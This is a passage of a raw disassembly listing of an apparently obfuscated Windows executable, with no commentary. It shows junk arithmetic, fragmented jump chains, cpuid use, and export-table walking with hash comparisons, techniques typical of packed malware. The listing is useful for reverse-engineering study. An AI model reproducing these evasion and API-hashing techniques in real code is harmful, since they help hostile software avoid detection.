		push	offset sub_40C1A5
		jmp	loc_40E518
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405723


loc_40B88A:				; CODE XREF: sub_405723:loc_409027j
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		jmp	loc_406B99
; END OF FUNCTION CHUNK	FOR sub_405723

; =============== S U B	R O U T	I N E =======================================



sub_40B89B	proc near		; DATA XREF: sub_40A1E6-FB2o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040FDA9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00411054 SIZE 00000005 BYTES

		push	edi
		pushf
		push	0F25C5604h
		pop	edi
		and	edi, ds:4000C9h
		jmp	loc_40FDA9
sub_40B89B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8AE	proc near		; DATA XREF: _837l4vi2:0040FE1Co

; FUNCTION CHUNK AT 00406C72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004084C4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040F232 SIZE 0000000B BYTES

		mov	eax, ds:dword_406524
		or	eax, eax
		jnz	loc_40D8AB
		jmp	loc_406C72
sub_40B8AE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4054EA


loc_40B8C1:				; CODE XREF: sub_4054EA:loc_407D3Aj
		and	eax, 0BCC0AF91h
		add	eax, 5380A04Fh
		xchg	eax, [esp+8+var_8]
		jmp	loc_408A3A
; END OF FUNCTION CHUNK	FOR sub_4054EA
; ---------------------------------------------------------------------------
		adc	ebp, ebx
		jmp	loc_40845C
; ---------------------------------------------------------------------------


loc_40B8DC:				; CODE XREF: _837l4vi2:loc_408431j
		xor	eax, 831C3DBDh
		add	eax, ebp
		add	eax, 1DF53B40h
		call	sub_407AD3
; START	OF FUNCTION CHUNK FOR sub_4105F8


loc_40B8EF:				; CODE XREF: sub_4105F8:loc_40B55Fj
		rol	ecx, 11h
		add	ecx, 3615E37Bh
		popf
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_40D849
; END OF FUNCTION CHUNK	FOR sub_4105F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6D2


loc_40B901:				; CODE XREF: sub_40A6D2+Ej
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		jmp	loc_40CC0D
; END OF FUNCTION CHUNK	FOR sub_40A6D2
; ---------------------------------------------------------------------------


loc_40B912:				; CODE XREF: _837l4vi2:0040E0BEj
		sbb	ecx, eax

; =============== S U B	R O U T	I N E =======================================



sub_40B914	proc near		; CODE XREF: sub_40F1EC:loc_40C431p

; FUNCTION CHUNK AT 0040A656 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-1Ch]
		jmp	loc_40A656
sub_40B914	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40B920:				; CODE XREF: sub_409D6B+1807j
		test	ecx, 88CF0A2h
		jmp	loc_405F11
; END OF FUNCTION CHUNK	FOR sub_409D6B

; =============== S U B	R O U T	I N E =======================================



sub_40B92B	proc near		; DATA XREF: sub_40AFF0+12o
		jz	loc_40C48D
sub_40B92B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40B931:				; CODE XREF: sub_40892F-F40j
					; _837l4vi2:0040CB42j
		jns	loc_407187
		mov	eax, [ebp-4]
		call	sub_40DC3E
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_40C48D
		jmp	loc_40F290
; END OF FUNCTION CHUNK	FOR sub_40892F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40B952	proc near		; CODE XREF: sub_407333j
					; DATA XREF: sub_4055D2+1D57o

; FUNCTION CHUNK AT 0040FB8F SIZE 00000005 BYTES

		test	eax, eax
		jl	loc_40F651
		inc	eax
		push	offset loc_408FAF
		jmp	loc_40FB8F
sub_40B952	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409AA3


loc_40B965:				; CODE XREF: sub_409AA3+12j
		lea	eax, [ebp-4]
		push	eax
		push	eax
		call	sub_40B420
; END OF FUNCTION CHUNK	FOR sub_409AA3
; START	OF FUNCTION CHUNK FOR sub_409127


loc_40B96F:				; CODE XREF: sub_409127+8CFj
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40B974:				; CODE XREF: sub_405CBC:loc_408ECDj
					; sub_405CBC+3690j
		call	sub_40B088
		mov	edx, 0F78D9DBDh
		call	sub_40E739
		push	eax
		jmp	loc_40894E
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F1EC


loc_40B989:				; CODE XREF: sub_40F1EC+19j
		mov	eax, [ebp-0Ch]
		call	sub_40B99D
; END OF FUNCTION CHUNK	FOR sub_40F1EC
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40B991:				; CODE XREF: sub_40E739-3278j
					; sub_40833D+324Ej ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0B9


loc_40B998:				; CODE XREF: sub_40B0B9-57CDj
		jmp	loc_40DFC1
; END OF FUNCTION CHUNK	FOR sub_40B0B9

; =============== S U B	R O U T	I N E =======================================



sub_40B99D	proc near		; CODE XREF: sub_40E4F1:loc_40502Ej
					; sub_406C7D-11BFp ...

; FUNCTION CHUNK AT 004074F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004092D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BF12 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D42F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040DE97 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E08C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040EA05 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004100B6 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_4100B6
sub_40B99D	endp

; ---------------------------------------------------------------------------
		jo	loc_4061C4
		jmp	sub_41018A
; ---------------------------------------------------------------------------
		dw 0E3FEh
dword_40B9B0	dd 2				dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40BDB0:				; CODE XREF: sub_40B67D+14j
		jmp	loc_407E14
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------


loc_40BDB5:				; CODE XREF: _837l4vi2:00409C40j
		jmp	loc_408B31
; ---------------------------------------------------------------------------
		dw 7FFCh
dword_40BDBC	dd 7C859B72h	; resolved to->KERNEL32.DebugBreak					; _837l4vi2:0040CEF7w
byte_40BDC0	db 1			; DATA XREF: sub_4059FC:loc_405A05r
					; sub_405797:loc_405CF0r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE28


loc_40BDC1:				; CODE XREF: sub_40FE28+16j
		jmp	loc_40731D
; END OF FUNCTION CHUNK	FOR sub_40FE28
; ---------------------------------------------------------------------------
		dw 9E77h
dword_40BDC8	dd 0C6C81D37h, 3623716Ch					; sub_405797+569o
		db 0C6h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F9E


loc_40BDD2:				; CODE XREF: sub_405F9E:loc_40B564j
		pop	eax
		pop	ecx
		sub	edx, esi
		jmp	loc_40F9AE
; END OF FUNCTION CHUNK	FOR sub_405F9E
; ---------------------------------------------------------------------------
		xor	edi, esi
		xchg	edi, ebp
		jmp	sub_40F058

; =============== S U B	R O U T	I N E =======================================



sub_40BDE4	proc near		; CODE XREF: sub_405C17+8C6Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004059F2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004072A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AA2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B6CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F7F1 SIZE 00000015 BYTES

		call	sub_40A7F1


loc_40BDE9:				; CODE XREF: sub_405DBA:loc_4071ABj
		jnz	sub_406C3E
		jmp	loc_40B6CF
sub_40BDE4	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FB4


loc_40BDF5:				; CODE XREF: sub_405FB4+958Ej
		jmp	loc_40F018
; END OF FUNCTION CHUNK	FOR sub_405FB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40BDFA:				; CODE XREF: sub_40966E+3621j
		jz	loc_40CA96
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 50h
		jmp	loc_40FFA2
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_40BE14:				; CODE XREF: sub_4061E8:loc_406203j
		jnz	loc_408DEE
		jmp	loc_406C95
; END OF FUNCTION CHUNK	FOR sub_4061E8

; =============== S U B	R O U T	I N E =======================================



sub_40BE1F	proc near		; DATA XREF: _837l4vi2:0040D617o

; FUNCTION CHUNK AT 004066FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409A23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C858 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CC22 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DC24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DCCB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040F75E SIZE 0000000B BYTES

		test	al, al
		jz	loc_409A23
		jmp	loc_40F75E
sub_40BE1F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40BE2C:				; CODE XREF: sub_40B67D:loc_40DF0Aj
		push	esi
		pushf
		push	75CB6001h
		pop	esi
		xor	esi, 6C9D449Ch
		and	esi, ds:4000CEh
		jmp	loc_40AC2D
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_406605
		jmp	loc_4081C5
; ---------------------------------------------------------------------------


loc_40BE52:				; DATA XREF: _837l4vi2:0040EA97o
		add	eax, 85AF5BA7h
		call	sub_411059
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40BE5D:				; CODE XREF: sub_4053DD+669j
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40BE62:				; CODE XREF: sub_4061B1+81EDj
		jg	loc_405F42
		cmp	edi, 0BE84688h
		jmp	loc_40EF4E
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40BE73:				; CODE XREF: sub_4078C8+5783j
		shl	esi, 0Eh


loc_40BE76:				; CODE XREF: sub_4078C8:loc_410DA4j
		mov	eax, [ebp-0Ch]
		pushf
		mov	[esp+4+var_4], eax
		push	edx
		push	0F5F020Ah
		pop	edx
		sub	edx, 90DD1F97h
		jmp	loc_406154
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40BE8F:				; CODE XREF: sub_410BD3-48E2j
		jbe	loc_4096F9
		mov	ecx, 6643413Dh
		jmp	loc_408B07
; END OF FUNCTION CHUNK	FOR sub_410BD3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA1B


loc_40BEA0:				; CODE XREF: sub_40CA1B+3DEBj
		jmp	loc_4108D5
; END OF FUNCTION CHUNK	FOR sub_40CA1B
; ---------------------------------------------------------------------------


loc_40BEA5:				; CODE XREF: _837l4vi2:00407BC9j
		jmp	loc_408792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A2D5


loc_40BEAA:				; CODE XREF: sub_40A2D5-41DFj
		jmp	sub_408EA4
; END OF FUNCTION CHUNK	FOR sub_40A2D5
; ---------------------------------------------------------------------------


loc_40BEAF:				; CODE XREF: _837l4vi2:004074A0j
		pop	edi
		sub	edi, 80E53B31h
		and	edi, 0C0B8F20Fh
		add	edi, 80406B28h
		xchg	edi, [esp]
		jmp	sub_40B99D
; ---------------------------------------------------------------------------


loc_40BECA:				; CODE XREF: _837l4vi2:0040D23Dj
		jge	loc_409A07

; =============== S U B	R O U T	I N E =======================================



sub_40BED0	proc near		; CODE XREF: sub_4061A1+6p
		mov	[esp+0], esi
		pop	esi
		add	esp, 0FFFFFFECh
		push	offset loc_40987D
		jmp	nullsub_44
sub_40BED0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_40BEE1:				; CODE XREF: sub_41045F-5191j
					; sub_40DE47:loc_40F227j
		push	0CD6A0BCDh
		pop	eax
		rol	eax, 17h
		add	eax, 85A15282h
		add	eax, ebp
		add	eax, 9377F875h
		jmp	loc_40D3E4
; END OF FUNCTION CHUNK	FOR sub_41045F

; =============== S U B	R O U T	I N E =======================================



sub_40BEFD	proc near		; CODE XREF: sub_409D6B-2274p

; FUNCTION CHUNK AT 0040D89F SIZE 00000007 BYTES

		mov	[esp+0], eax
		rol	eax, 0Dh
		jmp	loc_40D89F
sub_40BEFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407E61


loc_40BF08:				; CODE XREF: sub_407E61j
		push	offset sub_405BCA
		jmp	nullsub_45
; END OF FUNCTION CHUNK	FOR sub_407E61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_40BF12:				; CODE XREF: sub_40B99D+26F7j
		cmp	ecx, ebp
		jmp	loc_40F080
; END OF FUNCTION CHUNK	FOR sub_40B99D

; =============== S U B	R O U T	I N E =======================================



sub_40BF19	proc near		; DATA XREF: sub_40C90B+Ao

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00408EC3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B242 SIZE 00000009 BYTES

		add	eax, 104CBABBh
		xchg	eax, [esp+0]
		jmp	loc_408EC3
sub_40BF19	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4050A8


loc_40BF28:				; CODE XREF: sub_4050A8+15j
		jmp	loc_409C8F
; END OF FUNCTION CHUNK	FOR sub_4050A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40698A


loc_40BF2D:				; CODE XREF: sub_40698A+11j
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		jmp	loc_40E7DF
; END OF FUNCTION CHUNK	FOR sub_40698A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408EAA


loc_40BF3D:				; CODE XREF: sub_408EAA+4j
					; _837l4vi2:0040F4C0j
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_40D7D2
; END OF FUNCTION CHUNK	FOR sub_408EAA

; =============== S U B	R O U T	I N E =======================================



sub_40BF48	proc near		; CODE XREF: sub_40AA44:loc_40593Ap
					; sub_406ADC:loc_405EC3p ...

var_2C		= dword	ptr -2Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h

; FUNCTION CHUNK AT 00405674 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004058F1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00405C04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040763B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407708 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00408655 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00408C03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00409043 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409687 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409906 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409B48 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A15E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A1D9 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040AE1D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C9A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC81 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040EFD3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040F5EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040F976 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FB62 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FE44 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410EFB SIZE 00000005 BYTES

		jz	loc_40EC81
		mov	eax, ds:dword_4109D0
		jmp	loc_40C9A0
sub_40BF48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40BF59	proc near		; DATA XREF: sub_408055+A69o

arg_0		= dword	ptr  4

		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		push	offset loc_405841
		jmp	nullsub_46
sub_40BF59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40BF79:				; CODE XREF: sub_408A93-14F5j
		jnp	nullsub_72


loc_40BF7F:				; CODE XREF: sub_408A93:loc_40C983j
		mov	eax, [ebp-0Ch]
		push	eax
		call	sub_405250


loc_40BF88:				; CODE XREF: sub_408A93-3037j
		mov	eax, 120h
		call	sub_40D92B
		jmp	loc_40F548
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
		jmp	loc_409B98
; ---------------------------------------------------------------------------
		sbb	edi, ebp
		jmp	sub_408D96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40BFA3:				; CODE XREF: sub_4078C8+2CE1j
					; sub_40DF72:loc_40F3AFj
		push	0E497739Ah
		pop	eax
		xor	eax, 6CD2AB5h
		add	eax, ebp
		add	eax, 1DA5A6CDh
		jmp	loc_408C47
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		mov	[edx], esi
		jmp	loc_4103CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40BFC3:				; CODE XREF: sub_40882B:loc_407E84j
		jnz	loc_40C9DA
		jmp	loc_405270
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40BFCE:				; CODE XREF: sub_40C162:loc_40B130j
		pop	eax
		add	eax, 65C036B5h
		add	eax, ebp
		add	eax, 0CF20C27Ah
		jmp	loc_4104C6
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------


loc_40BFE2:				; CODE XREF: _837l4vi2:00405112j
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_40D84E
		cmp	eax, [ebp-8]
		jnz	loc_40F658
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		jmp	loc_4057B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3B0


loc_40C003:				; CODE XREF: sub_40B3B0+F98j
		push	0D52EFC3Dh
		pop	esi
		and	esi, 0D32DDA00h
		or	esi, 0C503B5B7h
		add	esi, 2B1086B7h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_40A7F9
; END OF FUNCTION CHUNK	FOR sub_40B3B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40C023:				; CODE XREF: sub_40989E:loc_40C81Cj
		add	eax, 1D0A248h
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_40F0C7
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------


loc_40C031:				; CODE XREF: _837l4vi2:loc_4057B1j
		xor	edx, edx
		jmp	loc_4092A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40C038:				; CODE XREF: _837l4vi2:00405105j
					; sub_40926F+2Bj
		adc	edx, [esp+8+var_4]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		jmp	loc_40E41D
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------


loc_40C049:				; CODE XREF: _837l4vi2:0040848Aj
		jl	loc_40D5EC
		adc	edx, 85D87384h
		mov	edx, esi
		jmp	loc_40D5EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41083C


loc_40C05D:				; CODE XREF: sub_41083C+14j
		jmp	loc_40C211
; END OF FUNCTION CHUNK	FOR sub_41083C
; ---------------------------------------------------------------------------


loc_40C062:				; DATA XREF: sub_40C2A0+12o
		mov	dword ptr [eax], 474244h
		push	0
		push	8FD87150h
		pop	eax
		xor	eax, 48F706F1h
		jmp	loc_40A083
; ---------------------------------------------------------------------------


loc_40C07B:				; CODE XREF: _837l4vi2:loc_410C2Dj
		add	dword ptr [esi], 0F80586h
		mov	eax, 0
		cpuid
		xor	[esi], ebx
		add	[esi], edx
		xor	[esi], ecx
		jmp	loc_40941D
; ---------------------------------------------------------------------------


loc_40C093:				; CODE XREF: _837l4vi2:004088C9j
		jg	loc_40A295

; =============== S U B	R O U T	I N E =======================================



sub_40C099	proc near		; CODE XREF: sub_40DFF5:loc_40AB52p

; FUNCTION CHUNK AT 00405228 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00406D50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A9DF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040AA1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D689 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410F90 SIZE 00000022 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	edx, [ebx+ecx]
		jmp	loc_40D689
sub_40C099	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C0A5	proc near		; DATA XREF: sub_40855B+6042o
		push	eax
		call	sub_409E97
		mov	ds:dword_40D3E0, eax


loc_40C0B0:				; CODE XREF: sub_40855B:loc_409FFDj
		push	0F1906880h
		pop	eax
		add	eax, 77CA7B5Bh
		jmp	loc_40A622
sub_40C0A5	endp

; ---------------------------------------------------------------------------
		cmp	eax, ebp
		jmp	loc_40D748
; ---------------------------------------------------------------------------
		shr	edi, 10h
		and	edi, 0E26E23E6h
		jmp	sub_40D263
; ---------------------------------------------------------------------------


loc_40C0D6:				; CODE XREF: _837l4vi2:00408826j
		jnz	loc_40B389
		jmp	loc_41041E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_40C0E1:				; CODE XREF: sub_408F1B+4E4Aj
		push	0B0C8A7A4h
		pop	esi
		and	esi, 0D0869407h
		xor	esi, 0D59791F1h
		call	sub_40AF8A


loc_40C0F8:				; CODE XREF: _837l4vi2:00406B3Fj
		jmp	loc_409ABA
; END OF FUNCTION CHUNK	FOR sub_408F1B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0FD	proc near		; CODE XREF: sub_405606:loc_4090C4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409080 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0040DB7A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040F627 SIZE 00000011 BYTES

		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_40AB74, 0
		jmp	loc_40DB7A
sub_40C0FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40C114:				; CODE XREF: sub_405BB4+321Cj
		mov	edx, [ebp+8]
		jmp	loc_40B480
; ---------------------------------------------------------------------------


loc_40C11C:				; CODE XREF: sub_405BB4:loc_40E8ABj
		push	offset loc_410040
		jmp	loc_408764
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
		jg	loc_40B675
		jmp	loc_40F13F
; ---------------------------------------------------------------------------


loc_40C131:				; CODE XREF: _837l4vi2:0040C36Aj
		add	eax, 0C371A381h
		xor	eax, 0F25C8632h
		call	sub_40D92B
		call	sub_4105F8


loc_40C147:				; CODE XREF: _837l4vi2:0040725Cj
		jmp	locret_40A5EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40C14C:				; CODE XREF: sub_405CBC:loc_406D02j
		inc	eax
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-18h], 0


loc_40C157:				; CODE XREF: sub_40A945+Aj
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		jmp	loc_40EE9F
; END OF FUNCTION CHUNK	FOR sub_405CBC

; =============== S U B	R O U T	I N E =======================================



sub_40C162	proc near		; CODE XREF: _837l4vi2:0040A695j
					; sub_407D0C+3769p

; FUNCTION CHUNK AT 00405818 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00406514 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407A2E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00407C56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408AFD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00408B2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409921 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409ACE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A87F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040B130 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B40D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BFCE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040C186 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040EAB5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040F417 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004104C6 SIZE 0000000C BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	[ebx], eax
		pop	ebx
		cmp	dword ptr [ebp-4], 0
		jz	loc_40F417
		mov	eax, [ebp-4]
		jmp	loc_407A2E
sub_40C162	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40C17B:				; CODE XREF: _837l4vi2:loc_40D478j
		jnz	loc_40FD73
		jmp	loc_40E3A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40C186:				; CODE XREF: sub_40C162:loc_409921j
		add	edi, 0A78E7C60h
		sub	esi, 0F69254DEh
		xchg	eax, ebx
		jmp	loc_40EAB5
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_41035C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7D8


loc_40C19F:				; CODE XREF: sub_40B7D8+1j
		call	sub_40F6F9

locret_40C1A4:				; CODE XREF: _837l4vi2:0040CFD4j
		retn
; END OF FUNCTION CHUNK	FOR sub_40B7D8

; =============== S U B	R O U T	I N E =======================================



sub_40C1A5	proc near		; DATA XREF: sub_4053DD:loc_40B880o
		mov	eax, [ebp-8]
		mov	dword ptr [ebp+eax*4-70h], 73257325h
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 19h
		jnz	loc_40C2C7
		jmp	loc_40883D
sub_40C1A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1C2	proc near		; CODE XREF: sub_405606+6j

; FUNCTION CHUNK AT 004054AA SIZE 00000005 BYTES

		push	ebp
